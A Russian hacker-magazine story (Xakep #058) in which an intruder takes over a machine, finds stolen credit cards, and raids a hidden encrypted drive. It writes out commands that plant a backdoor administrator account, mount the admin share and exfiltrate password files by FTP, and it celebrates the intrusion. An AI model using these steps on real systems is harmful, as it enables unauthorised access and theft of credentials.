Месть хакера - Работодатель в позе

Master-lame-master

Xakep, номер #058, стр. 058-048-2

Здесь его ждал еще больший сюрприз. Вместо предполагаемого хранилища для html-страниц, он обнаружил псевдоресурс, предназначавшийся для обмана буржуев. Псевдосайт состоял из небрежно сделанной html-страницы, а также скрипта form.cgi. Он скидывал данные о кредитке в текстовую базу. Хакер поспешно стянул текстовик и обнаружил в нем около сотни свежих кредиток с cvv2-кодом. Стало ясно - он поимел сервер какого-то кардера (или спамера). Это взбодрило взломщика, так как он обожал рыться на подобных компьютерах ;).

Шифрованная инфа

Кроме wcx_ftp.ini, никакой полезной информации обнаружить не удалось. Все как обычно: на загрузочном диске установлена винда, несколько программ, типа WinAMP, WinRAR и Photoshop. На диске D находился разнообразный сетевой софт (mIRC, WinRoute и т.п.), а также фильмы и музыка. Хакер около получаса искал секретную информацию, но напрасно. Он уже хотел выйти из системы и начать сканировать дальше, но его внимание привлек ярлык ICQ.lnk, который располагался на рабочем столе пользователя. Аськой в наше время, конечно, никого не удивишь, но вот саму программу хакеру найти не удалось - ни на диске C, ни на D. Правда сам процесс аськи вертелся в таск-менеджере, отсюда хакер сделал вывод - в системе находится какая-то скрытая папка либо диск.

Взломщик набрал type ICQ.lnk, и все прояснилось. На самом деле, ярлык вел на диск S, как и предполагалось. Выполнив chdir, наш герой попал на криптованный диск, который подключался каждый раз при старте системы. На диске было очень много интересных файлов. Для того чтобы их слить, хакер решил создать еще одного администратора в системе и подцепить диск по сети с другой WinXP-системой, которую он сломал раньше. Вот что он сделал:

net user evil live /ADD

net localgroup Администраторы evil /ADD

Первая из них создавала нового пользователя evil с паролем live. Вторая прикрепляла ранее созданный аккаунт к группе "Администраторы". После этой простой процедуры хакер мог прицепиться на расшаренный ресурс S$, который создавался по умолчанию после появления диска.

В тылу врага

Взломщик использовал сервис NetBIOS и подцепил сетевой диск. Это достигалось командой:

net use s: \\10.0.0.12\S$

Дальше хакер мог работать с диском S как с локальным. Просмотрев корень диска, герой испытал чувство дежавю - названия некоторых файлов показались ему до боли знакомыми. Завладев информацией, взломщик принялся бэкапить документы с интересными названиями (типа 1.txt или paroli.txt ;)). Процесс скачки пришлось опять реализовывать через FTP-сценарий. Выглядел он следующим образом:

user login password

prompt off

type binary

mget xakep/*.*

quit

Перед выполнением бинарника ftp, взломщик скинул интересные документы в папку xakep. Через некоторое время все файлы успешно залились на сервер. Содержимое документов повергло нашего героя в шок. Дело даже не в том, что в половине файлов были записаны пароли к ICQ-уинам и FTP-серверам. Среди груды документов хакер обнаружил базу e-mail адресов, которую он добывал в течение двух ночей. Только теперь до взломщика дошло, что он попал на компьютер говнючка, который предательски его кинул. Радости хакера не было предела. В первую минуту он вообще хотел отформатировать кидале винт, но вовремя остановился ;).